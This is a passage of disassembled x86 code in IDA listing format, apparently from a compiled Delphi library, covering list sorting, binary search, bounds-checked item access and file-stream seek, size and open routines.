O U T I N E ======================================= sub_20011284 proc near ; DATA XREF: CODE:2000F95Co push ebx mov ebx, eax cmp dword ptr [ebx+14h], 0 jz short loc_200112C0 mov eax, ebx mov edx, [eax] call dword ptr [edx+84h] mov eax, [ebx+10h] mov ecx, [ebx+14h] mov edx, off_2000F8A8 call sub_2000493C xor eax, eax mov [ebx+14h], eax xor edx, edx mov eax, ebx mov ecx, [eax] call dword ptr [ecx+28h] mov eax, ebx mov edx, [eax] call dword ptr [edx+80h] loc_200112C0: ; CODE XREF: sub_20011284+7j pop ebx retn sub_20011284 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200112C4 proc near ; DATA XREF: CODE:2000F960o push ebx push esi mov esi, edx mov ebx, eax test esi, esi jl short loc_200112D3 cmp esi, [ebx+14h] jl short loc_200112E2 loc_200112D3: ; CODE XREF: sub_200112C4+8j mov edx, ds:off_20014538 mov ecx, esi mov eax, ebx call sub_20010798 loc_200112E2: ; CODE XREF: sub_200112C4+Dj mov eax, ebx mov edx, [eax] call dword ptr [edx+84h] mov eax, [ebx+10h] lea eax, [eax+esi*8] mov edx, off_2000F8A8 call sub_20004A28 dec dword ptr [ebx+14h] mov eax, [ebx+14h] cmp esi, eax jge short loc_20011320 sub eax, esi mov ecx, eax shl ecx, 3 mov eax, [ebx+10h] lea edx, [eax+esi*8] mov eax, [ebx+10h] lea eax, [eax+esi*8+8] call sub_200027FC loc_20011320: ; CODE XREF: sub_200112C4+41j mov eax, ebx mov edx, [eax] call dword ptr [edx+80h] pop esi pop ebx retn sub_200112C4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20011330 proc near ; DATA XREF: CODE:2000F964o push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax test esi, esi jl short loc_20011342 cmp esi, [ebx+14h] jl short loc_20011351 loc_20011342: ; CODE XREF: sub_20011330+Bj mov edx, ds:off_20014538 mov ecx, esi mov eax, ebx call sub_20010798 loc_20011351: ; CODE XREF: sub_20011330+10j test edi, edi jl short loc_2001135A cmp edi, [ebx+14h] jl short loc_20011369 loc_2001135A: ; CODE XREF: sub_20011330+23j mov edx, ds:off_20014538 mov ecx, edi mov eax, ebx call sub_20010798 loc_20011369: ; CODE XREF: sub_20011330+28j mov eax, ebx mov edx, [eax] call dword ptr [edx+84h] mov ecx, edi mov edx, esi mov eax, ebx call sub_2001138C mov eax, ebx mov edx, [eax] call dword ptr [edx+80h] pop edi pop esi pop ebx retn sub_20011330 endp ; =============== S U B R O U T I N E ======================================= sub_2001138C proc near ; CODE XREF: sub_20011330+49p ; sub_20011674+51p push ebx mov ebx, [eax+10h] lea edx, [ebx+edx*8] mov eax, [eax+10h] lea eax, [eax+ecx*8] mov ecx, [edx] mov ebx, [eax] mov [edx], ebx mov [eax], ecx mov ecx, [edx+4] mov ebx, [eax+4] mov [edx+4], ebx mov [eax+4], ecx pop ebx retn sub_2001138C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200113B0 proc near ; DATA XREF: CODE:2000F9A4o var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h push ebx push esi push edi push ebp add esp, 0FFFFFFF0h mov [esp+20h+var_1C], ecx mov [esp+20h+var_20], edx mov edi, eax mov [esp+20h+var_18], 0 xor esi, esi mov eax, [edi+14h] dec eax mov [esp+20h+var_14], eax cmp esi, [esp+20h+var_14] jg short loc_20011414 loc_200113D5: ; CODE XREF: sub_200113B0+62j mov ebx, [esp+20h+var_14] add ebx, esi shr ebx, 1 mov eax, [edi+10h] mov edx, [eax+ebx*8] mov ecx, [esp+20h+var_20] mov eax, edi mov ebp, [eax] call dword ptr [ebp+34h] test eax, eax jge short loc_200113F6 lea esi, [ebx+1] jmp short loc_2001140E ; --------------------------------------------------------------------------- loc_200113F6: ; CODE XREF: sub_200113B0+3Fj mov edx, ebx dec edx mov [esp+20h+var_14], edx test eax, eax jnz short loc_2001140E mov [esp+20h+var_18], 1 cmp byte ptr [edi+1Dh], 1 jz short loc_2001140E mov esi, ebx loc_2001140E: ; CODE XREF: sub_200113B0+44j ; sub_200113B0+4Fj ... cmp esi, [esp+20h+var_14] jle short loc_200113D5 loc_20011414: ; CODE XREF: sub_200113B0+23j mov eax, [esp+20h+var_1C] mov [eax], esi mov al, [esp+20h+var_18] add esp, 10h pop ebp pop edi pop esi pop ebx retn sub_200113B0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011428 proc near ; DATA XREF: CODE:2000F924o push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax test esi, esi jl short loc_2001143A cmp esi, [ebx+14h] jl short loc_20011449 loc_2001143A: ; CODE XREF: sub_20011428+Bj mov edx, ds:off_20014538 mov ecx, esi mov eax, ebx call sub_20010798 loc_20011449: ; CODE XREF: sub_20011428+10j mov eax, edi mov edx, [ebx+10h] mov edx, [edx+esi*8] call sub_20003FFC pop edi pop esi pop ebx retn sub_20011428 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2001145C proc near ; DATA XREF: CODE:2000F928o mov eax, [eax+18h] retn sub_2001145C endp ; =============== S U B R O U T I N E ======================================= sub_20011460 proc near ; DATA XREF: CODE:2000F92Co mov eax, [eax+14h] retn sub_20011460 endp ; =============== S U B R O U T I N E ======================================= sub_20011464 proc near ; DATA XREF: CODE:2000F930o push ebx push esi mov esi, edx mov ebx, eax test esi, esi jl short loc_20011473 cmp esi, [ebx+14h] jl short loc_20011482 loc_20011473: ; CODE XREF: sub_20011464+8j mov edx, ds:off_20014538 mov ecx, esi mov eax, ebx call sub_20010798 loc_20011482: ; CODE XREF: sub_20011464+Dj mov eax, [ebx+10h] mov eax, [eax+esi*8+4] pop esi pop ebx retn sub_20011464 endp ; =============== S U B R O U T I N E ======================================= sub_2001148C proc near ; CODE XREF: sub_20011560+20p push esi mov edx, [eax+18h] cmp edx, 40h jle short loc_200114A3 mov esi, edx test esi, esi jns short loc_2001149E add esi, 3 loc_2001149E: ; CODE XREF: sub_2001148C+Dj sar esi, 2 jmp short loc_200114B4 ; --------------------------------------------------------------------------- loc_200114A3: ; CODE XREF: sub_2001148C+7j cmp edx, 8 jle short loc_200114AF mov esi, 10h jmp short loc_200114B4 ; --------------------------------------------------------------------------- loc_200114AF: ; CODE XREF: sub_2001148C+1Aj mov esi, 4 loc_200114B4: ; CODE XREF: sub_2001148C+15j ; sub_2001148C+21j add esi, edx mov edx, esi mov ecx, [eax] call dword ptr [ecx+28h] pop esi retn sub_2001148C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200114C0 proc near ; DATA XREF: CODE:2000F96Co var_C = dword ptr -0Ch push ebx push esi push ecx mov esi, edx mov ebx, eax cmp byte ptr [ebx+1Ch], 0 jnz short loc_200114DB mov edx, esi mov eax, ebx call sub_20010A60 mov [esp+0Ch+var_C], eax jmp short loc_200114F4 ; --------------------------------------------------------------------------- loc_200114DB: ; CODE XREF: sub_200114C0+Bj mov ecx, esp mov edx, esi mov eax, ebx mov ebx, [eax] call dword ptr [ebx+8Ch] test al, al jnz short loc_200114F4 mov [esp+0Ch+var_C], 0FFFFFFFFh loc_200114F4: ; CODE XREF: sub_200114C0+19j ; sub_200114C0+2Bj mov eax, [esp+0Ch+var_C] pop edx pop esi pop ebx retn sub_200114C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200114FC proc near ; DATA XREF: CODE:2000F978o push ebx push esi mov esi, eax push 0 mov eax, esi mov ebx, [eax] call dword ptr [ebx+64h] pop esi pop ebx retn sub_200114FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_2001150C proc near ; DATA XREF: CODE:2000F97Co arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax cmp byte ptr [ebx+1Ch], 0 jz short loc_2001152D mov edx, ds:off_20014490 xor ecx, ecx mov eax, ebx call sub_20010798 loc_2001152D: ; CODE XREF: sub_2001150C+10j test esi, esi jl short loc_20011536 cmp esi, [ebx+14h] jle short loc_20011545 loc_20011536: ; CODE XREF: sub_2001150C+23j mov edx, ds:off_20014538 mov ecx, esi mov eax, ebx call sub_20010798 loc_20011545: ; CODE XREF: sub_2001150C+28j mov eax, [ebp+arg_0] push eax mov ecx, edi mov edx, esi mov eax, ebx mov ebx, [eax] call dword ptr [ebx+88h] pop edi pop esi pop ebx pop ebp retn 4 sub_2001150C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011560 proc near ; DATA XREF: CODE:2000F9A0o arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax mov eax, ebx mov edx, [eax] call dword ptr [edx+84h] mov eax, [ebx+14h] cmp eax, [ebx+18h] jnz short loc_20011585 mov eax, ebx call sub_2001148C loc_20011585: ; CODE XREF: sub_20011560+1Cj mov eax, [ebx+14h] cmp esi, eax jge short loc_200115A9 mov edx, [ebx+10h] lea edx, [edx+esi*8+8] push edx mov edx, [ebx+10h] lea edx, [edx+esi*8] sub eax, esi mov ecx, eax shl ecx, 3 mov eax, edx pop edx call sub_200027FC loc_200115A9: ; CODE XREF: sub_20011560+2Aj mov eax, [ebx+10h] lea eax, [eax+esi*8] mov esi, eax xor eax, eax mov [esi], eax mov eax, [ebp+arg_0] mov [esi+4], eax mov eax, esi mov edx, edi call sub_20003FFC inc dword ptr [ebx+14h] mov eax, ebx mov edx, [eax] call dword ptr [edx+80h] pop edi pop esi pop ebx pop ebp retn 4 sub_20011560 endp ; =============== S U B R O U T I N E ======================================= sub_200115D8 proc near ; DATA XREF: CODE:2000F938o push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax cmp byte ptr [ebx+1Ch], 0 jz short loc_200115F6 mov edx, ds:off_20014490 xor ecx, ecx mov eax, ebx call sub_20010798 loc_200115F6: ; CODE XREF: sub_200115D8+Dj test esi, esi jl short loc_200115FF cmp esi, [ebx+14h] jl short loc_2001160E loc_200115FF: ; CODE XREF: sub_200115D8+20j mov edx, ds:off_20014538 mov ecx, esi mov eax, ebx call sub_20010798 loc_2001160E: ; CODE XREF: sub_200115D8+25j mov eax, ebx mov edx, [eax] call dword ptr [edx+84h] mov eax, [ebx+10h] lea eax, [eax+esi*8] mov edx, edi call sub_20003FFC mov eax, ebx mov edx, [eax] call dword ptr [edx+80h] pop edi pop esi pop ebx retn sub_200115D8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011634 proc near ; DATA XREF: CODE:2000F93Co push ebx push esi push edi mov edi, ecx mov esi, edx mov ebx, eax test esi, esi jl short loc_20011646 cmp esi, [ebx+14h] jl short loc_20011655 loc_20011646: ; CODE XREF: sub_20011634+Bj mov edx, ds:off_20014538 mov ecx, esi mov eax, ebx call sub_20010798 loc_20011655: ; CODE XREF: sub_20011634+10j mov eax, ebx mov edx, [eax] call dword ptr [edx+84h] mov eax, [ebx+10h] mov [eax+esi*8+4], edi mov eax, ebx mov edx, [eax] call dword ptr [edx+80h] pop edi pop esi pop ebx retn sub_20011634 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011674 proc near ; CODE XREF: sub_20011674+7Fp ; sub_20011760+25p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFF0h push ebx push esi mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax loc_20011685: ; CODE XREF: sub_20011674+8Aj mov ebx, [ebp+var_8] mov esi, [ebp+var_C] mov eax, [ebp+var_8] add eax, [ebp+var_C] shr eax, 1 mov [ebp+var_10], eax jmp short loc_20011699 ; --------------------------------------------------------------------------- loc_20011698: ; CODE XREF: sub_20011674+32j inc ebx loc_20011699: ; CODE XREF: sub_20011674+22j ; sub_20011674+6Cj mov ecx, [ebp+var_10] mov edx, ebx mov eax, [ebp+var_4] call [ebp+arg_0] test eax, eax jl short loc_20011698 jmp short loc_200116AB ; --------------------------------------------------------------------------- loc_200116AA: ; CODE XREF: sub_20011674+44j dec esi loc_200116AB: ; CODE XREF: sub_20011674+34j mov ecx, [ebp+var_10] mov edx, esi mov eax, [ebp+var_4] call [ebp+arg_0] test eax, eax jg short loc_200116AA cmp esi, ebx jl short loc_200116DE mov ecx, esi mov edx, ebx mov eax, [ebp+var_4] call sub_2001138C cmp ebx, [ebp+var_10] jnz short loc_200116D4 mov [ebp+var_10], esi jmp short loc_200116DC ; --------------------------------------------------------------------------- loc_200116D4: ; CODE XREF: sub_20011674+59j cmp esi, [ebp+var_10] jnz short loc_200116DC mov [ebp+var_10], ebx loc_200116DC: ; CODE XREF: sub_20011674+5Ej ; sub_20011674+63j inc ebx dec esi loc_200116DE: ; CODE XREF: sub_20011674+48j cmp esi, ebx jge short loc_20011699 cmp esi, [ebp+var_8] jle short loc_200116F8 mov eax, [ebp+arg_0] push eax mov ecx, esi mov edx, [ebp+var_8] mov eax, [ebp+var_4] call sub_20011674 loc_200116F8: ; CODE XREF: sub_20011674+71j mov [ebp+var_8], ebx cmp ebx, [ebp+var_C] jl short loc_20011685 pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_20011674 endp ; =============== S U B R O U T I N E ======================================= sub_20011708 proc near ; DATA XREF: CODE:2000F940o push ebx push esi mov esi, edx mov ebx, eax mov edx, esi shl edx, 3 lea eax, [ebx+10h] call sub_200026A8 mov [ebx+18h], esi pop esi pop ebx retn sub_20011708 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011724 proc near ; DATA XREF: CODE:2000F948o test dl, dl jz short loc_20011731 mov edx, [eax] call dword ptr [edx+84h] retn ; --------------------------------------------------------------------------- loc_20011731: ; CODE XREF: sub_20011724+2j mov edx, [eax] call dword ptr [edx+80h] retn sub_20011724 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_2001173C proc near ; DATA XREF: sub_20011750o push ebx mov ebx, [eax+10h] mov ecx, [ebx+ecx*8] mov ebx, [eax+10h] mov edx, [ebx+edx*8] mov ebx, [eax] call dword ptr [ebx+34h] pop ebx retn sub_2001173C endp ; =============== S U B R O U T I N E ======================================= sub_20011750 proc near ; DATA XREF: CODE:2000F9A8o mov edx, offset sub_2001173C mov ecx, [eax] call dword ptr [ecx+94h] retn sub_20011750 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_20011760 proc near ; DATA XREF: CODE:2000F9ACo push ebx push esi mov esi, edx mov ebx, eax cmp byte ptr [ebx+1Ch], 0 jnz short loc_20011794 cmp dword ptr [ebx+14h], 1 jle short loc_20011794 mov eax, ebx mov edx, [eax] call dword ptr [edx+84h] push esi mov ecx, [ebx+14h] dec ecx xor edx, edx mov eax, ebx call sub_20011674 mov eax, ebx mov edx, [eax] call dword ptr [edx+80h] loc_20011794: ; CODE XREF: sub_20011760+Aj ; sub_20011760+10j pop esi pop ebx retn sub_20011760 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011798 proc near ; DATA XREF: CODE:2000F94Co cmp byte ptr [eax+1Eh], 0 jz short loc_200117A8 mov eax, edx mov edx, ecx call sub_2000703C retn ; --------------------------------------------------------------------------- loc_200117A8: ; CODE XREF: sub_20011798+4j mov eax, edx mov edx, ecx call sub_20007074 retn sub_20011798 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200117B4 proc near ; CODE XREF: sub_20010C78+40p var_8 = dword ptr -8 var_4 = dword ptr -4 add esp, 0FFFFFFF8h push 0 push 0 mov dl, 1 mov ecx, [eax] call dword ptr [ecx+18h] mov [esp+8+var_8], eax mov [esp+8+var_4], edx mov eax, [esp+8+var_8] mov edx, [esp+8+var_4] pop ecx pop edx retn sub_200117B4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200117D4 proc near ; DATA XREF: CODE:off_2000FA30o ; CODE:off_2000FAA0o ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 push ebx add esp, 0FFFFFFF0h mov ebx, eax push 0 push 0 mov dl, 1 mov eax, ebx mov ecx, [eax] call dword ptr [ecx+18h] mov [esp+14h+var_C], eax mov [esp+14h+var_8], edx push 0 push 0 mov dl, 2 mov eax, ebx mov ecx, [eax] call dword ptr [ecx+18h] mov [esp+14h+var_14], eax mov [esp+14h+var_10], edx push [esp+14h+var_8] push [esp+18h+var_C] xor edx, edx mov eax, ebx mov ecx, [eax] call dword ptr [ecx+18h] mov eax, [esp+14h+var_14] mov edx, [esp+14h+var_10] add esp, 10h pop ebx retn sub_200117D4 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011824 proc near ; DATA XREF: CODE:2000FA38o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, eax cmp [ebp+arg_4], 0FFFFFFFFh jnz short loc_2001183A cmp [ebp+arg_0], 80000000h jb short loc_2001184F jmp short loc_2001183C ; --------------------------------------------------------------------------- loc_2001183A: ; CODE XREF: sub_20011824+9j jl short loc_2001184F loc_2001183C: ; CODE XREF: sub_20011824+14j cmp [ebp+arg_4], 0 jnz short loc_2001184D cmp [ebp+arg_0], 7FFFFFFFh jbe short loc_20011866 jmp short loc_2001184F ; --------------------------------------------------------------------------- loc_2001184D: ; CODE XREF: sub_20011824+1Cj jle short loc_20011866 loc_2001184F: ; CODE XREF: sub_20011824+12j ; sub_20011824:loc_2001183Aj ... mov ecx, ds:off_20014568 mov dl, 1 mov eax, off_20006630 call sub_2000A5A0 call sub_20003A08 loc_20011866: ; CODE XREF: sub_20011824+25j ; sub_20011824:loc_2001184Dj mov eax, [ebp+arg_0] mov edx, eax mov eax, ecx mov ecx, [eax] call dword ptr [ecx+4] pop ebp retn 8 sub_20011824 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011878 proc near ; CODE XREF: sub_200118C4+4Cp ; sub_200118C4+66p var_108 = byte ptr -108h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFEF8h lea edx, [ebp+var_108] mov eax, [ebp+arg_0] mov eax, [eax-4] mov eax, [eax] call sub_2000346C lea eax, [ebp+var_108] mov [ebp+var_8], eax mov [ebp+var_4], 4 lea eax, [ebp+var_8] push eax push 0 mov ecx, ds:off_20014584 mov dl, 1 mov eax, off_2000F2DC call sub_2000A5DC call sub_20003A08 mov esp, ebp pop ebp retn sub_20011878 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_200118C4 proc near ; DATA XREF: CODE:2000FA44o ; CODE:2000FAB4o ... var_20 = byte ptr -20h var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE0h push ebx push esi mov [ebp+var_1A], cx mov esi, edx mov [ebp+var_4], eax lea ebx, [ebp+var_20] mov eax, [ebp+var_4] mov [ebp+var_C], eax mov eax, [eax] mov eax, [eax+18h] mov [ebp+var_10], eax mov eax, [ebp+var_4] call sub_20003464 mov [ebx], eax jmp short loc_200118FB ; --------------------------------------------------------------------------- loc_200118F2: ; CODE XREF: sub_200118C4+44j mov eax, [ebx] call sub_20003480 mov [ebx], eax loc_200118FB: ; CODE XREF: sub_200118C4+2Cj cmp dword ptr [ebx], 0 jz short loc_2001190A mov eax, [ebx] cmp eax, off_2000F9E4 jnz short loc_200118F2 loc_2001190A: ; CODE XREF: sub_200118C4+3Aj cmp dword ptr [ebx], 0 jnz short loc_20011916 push ebp call sub_20011878 pop ecx loc_20011916: ; CODE XREF: sub_200118C4+49j mov [ebp+var_14], ebx mov eax, [ebx] mov eax, [eax+18h] mov [ebp+var_18], eax mov eax, [ebp+var_10] cmp eax, [ebp+var_18] jnz short loc_20011930 push ebp call sub_20011878 pop ecx loc_20011930: ; CODE XREF: sub_200118C4+63j mov eax, esi cdq push edx push eax mov dl, byte ptr [ebp+var_1A] mov eax, [ebp+var_4] mov ecx, [eax] call dword ptr [ecx+18h] pop esi pop ebx mov esp, ebp pop ebp retn sub_200118C4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011948 proc near ; DATA XREF: CODE:2000FA48o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push esi mov ebx, edx mov esi, eax cmp [ebp+arg_4], 0FFFFFFFFh jnz short loc_20011965 cmp [ebp+arg_0], 80000000h jb short loc_2001197A jmp short loc_20011967 ; --------------------------------------------------------------------------- loc_20011965: ; CODE XREF: sub_20011948+10j jl short loc_2001197A loc_20011967: ; CODE XREF: sub_20011948+1Bj cmp [ebp+arg_4], 0 jnz short loc_20011978 cmp [ebp+arg_0], 7FFFFFFFh jbe short loc_20011991 jmp short loc_2001197A ; --------------------------------------------------------------------------- loc_20011978: ; CODE XREF: sub_20011948+23j jle short loc_20011991 loc_2001197A: ; CODE XREF: sub_20011948+19j ; sub_20011948:loc_20011965j ... mov ecx, ds:off_20014568 mov dl, 1 mov eax, off_20006630 call sub_2000A5A0 call sub_20003A08 loc_20011991: ; CODE XREF: sub_20011948+2Cj ; sub_20011948:loc_20011978j mov eax, [ebp+arg_0] mov edx, eax xor ecx, ecx mov cl, bl mov eax, esi mov ebx, [eax] call dword ptr [ebx+14h] cdq mov [ebp+var_8], eax mov [ebp+var_4], edx mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx pop ecx pop ecx pop ebp retn 8 sub_20011948 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_200119B8 proc near ; CODE XREF: sub_20010F14+32p ; sub_20012418+Cp push ebx push esi push edi mov ebx, ecx mov edi, edx mov esi, eax test ebx, ebx jz short loc_200119EB mov edx, edi mov ecx, ebx mov eax, esi mov esi, [eax] call dword ptr [esi+10h] cmp ebx, eax jz short loc_200119EB mov ecx, ds:off_200144B4 mov dl, 1 mov eax, off_2000F4FC call sub_2000A5A0 call sub_20003A08 loc_200119EB: ; CODE XREF: sub_200119B8+Bj ; sub_200119B8+1Aj pop edi pop esi pop ebx retn sub_200119B8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_200119F0 proc near ; CODE XREF: sub_20011AF8+52p ; sub_20011AF8+BBp push ebx push esi push edi test dl, dl jz short loc_200119FF add esp, 0FFFFFFF0h call sub_2000373C loc_200119FF: ; CODE XREF: sub_200119F0+5j mov esi, ecx mov ebx, edx mov edi, eax xor edx, edx mov eax, edi call sub_200034C4 mov [edi+4], esi mov eax, edi test bl, bl jz short loc_20011A26 call sub_20003794 pop large dword ptr fs:0 add esp, 0Ch loc_20011A26: ; CODE XREF: sub_200119F0+25j mov eax, edi pop edi pop esi pop ebx retn sub_200119F0 endp ; =============== S U B R O U T I N E ======================================= sub_20011A2C proc near ; DATA XREF: CODE:2000FAACo ; CODE:2000FB24o mov eax, [eax+4] call sub_2000750C cmp eax, 0FFFFFFFFh jnz short locret_20011A3B xor eax, eax locret_20011A3B: ; CODE XREF: sub_20011A2C+Bj retn sub_20011A2C endp ; =============== S U B R O U T I N E ======================================= sub_20011A3C proc near ; DATA XREF: CODE:2000FAB0o ; CODE:2000FB28o mov eax, [eax+4] call sub_20007538 cmp eax, 0FFFFFFFFh jnz short locret_20011A4B xor eax, eax locret_20011A4B: ; CODE XREF: sub_20011A3C+Bj retn sub_20011A3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011A4C proc near ; DATA XREF: CODE:2000FAB8o ; CODE:2000FB30o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFF8h push [ebp+arg_4] push [ebp+arg_0] and edx, 7Fh mov eax, [eax+4] call sub_20007564 mov [ebp+var_8], eax mov [ebp+var_4], edx mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop ecx pop ecx pop ebp retn 8 sub_20011A4C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_20011A78 proc near ; DATA XREF: CODE:2000FAA4o ; CODE:2000FB1Co push ebx mov ebx, edx mov ecx, eax mov eax, ebx cdq push edx push eax mov eax, ecx mov edx, [eax] call dword ptr [edx+8] pop ebx retn sub_20011A78 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011A8C proc near ; DATA XREF: CODE:2000FAA8o ; CODE:2000FB20o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov ebx, eax push [ebp+arg_4] push [ebp+arg_0] xor edx, edx mov eax, ebx mov ecx, [eax] call dword ptr [ecx+18h] mov eax, [ebx+4] push eax ; hFile call SetEndOfFile_0 call sub_2000B7F8 pop ebx pop ebp retn 8 sub_20011A8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011AB4 proc near ; CODE XREF: sub_20010C24+12p ; sub_20010EBC+15p arg_0 = word ptr 8 push ebp mov ebp, esp push ebx push esi test dl, dl jz short loc_20011AC5 add esp, 0FFFFFFF0h call sub_2000373C loc_20011AC5: ; CODE XREF: sub_20011AB4+7j mov ebx, edx mov esi, eax mov ax, [ebp+arg_0] push eax push 0 xor edx, edx mov eax, esi call sub_20011AF8 mov eax, esi test bl, bl jz short loc_20011AEE call sub_20003794 pop large dword ptr fs:0 add esp, 0Ch loc_20011AEE: ; CODE XREF: sub_20011AB4+29j mov eax, esi pop esi pop ebx pop ebp retn 4 sub_20011AB4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_20011AF8 proc near ; CODE XREF: sub_20011AB4+20p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFDCh push ebx push esi push edi xor ebx, ebx mov [ebp+var_20], ebx mov [ebp+var_24], ebx mov [ebp+var_18], ebx mov [ebp+var_1C], ebx test dl, dl jz short loc_20011B1B add esp, 0FFFFFFF0h call sub_2000373C loc_20011B1B: ; CODE XREF: sub_20011AF8+19j mov esi, ecx mov [ebp+var_1], dl mov ebx, eax mov edi, [ebp+arg_4] xor eax, eax push ebp push offset loc_20011C21 push dword ptr fs:[eax] mov fs:[eax], esp cmp di, 0FFFFh jnz short loc_20011BA3 mov edx, [ebp+arg_0] mov eax, esi call sub_20007504 mov ecx, eax xor edx, edx mov eax, ebx call sub_200119F0 cmp dword ptr [ebx+4], 0 jge loc_20011C06 lea edx, [ebp+var_18] mov eax, esi call sub_2000762C mov eax, [ebp+var_18] mov [ebp+var_14], eax mov [ebp+var_10], 0Bh call GetLastError_0 lea edx, [ebp+var_1C] call sub_20009CDC mov eax, [ebp+var_1C] mov [ebp+var_C], eax mov [ebp+var_8], 0Bh lea eax, [ebp+var_14] push eax push 1 mov ecx, ds:off_200145A0 mov dl, 1 mov eax, off_2000F398 call sub_2000A5DC call sub_20003A08 jmp short loc_20011C06 ; --------------------------------------------------------------------------- loc_20011BA3: ; CODE XREF: sub_20011AF8+40j movzx edx, di mov eax, esi call sub_20007488 mov ecx, eax xor edx, edx mov eax, ebx call sub_200119F0 cmp dword ptr [ebx+4], 0 jge short loc_20011C06 lea edx, [ebp+var_20] mov eax, esi call sub_2000762C mov eax, [ebp+var_20] mov [ebp+var_14], eax mov [ebp+var_10], 0Bh call GetLastError_0 lea edx, [ebp+var_24] call sub_20009CDC mov eax, [ebp+var_24] mov [ebp+var_C], eax mov [ebp+var_8], 0Bh lea eax, [ebp+var_14] push eax push 1 mov ecx, ds:off_200143CC mov dl, 1 mov eax, off_2000F3F4 call sub_2000A5DC call sub_20003A08 loc_20011C06: ; CODE XREF: sub_20011AF8+5Bj ; sub_20011AF8+A9j ... xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_20011C28 loc_20011C13: ; CODE XREF: sub_20011AF8+12Ej lea eax, [ebp+var_24] mov edx, 4 call sub_20003FCC retn ; --------------------------------------------------------------------------- loc_20011C21: ; DATA XREF: sub_20011AF8+30o jmp loc_200039D0 ; --------------------------------------------------------------------------- jmp short loc_20011C13 ; --------------------------------------------------------------------------- loc_20011C28: ; CODE XREF: sub_20011AF8+128j ; DATA XREF: sub_20011AF8+116o mov eax, ebx cmp [ebp+var_1], 0 jz short loc_20011C3F call sub_20003794 pop large dword ptr fs:0 add esp, 0Ch loc_20011C3F: ; CODE XREF: sub_20011AF8+136j mov eax, ebx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 sub_20011AF8 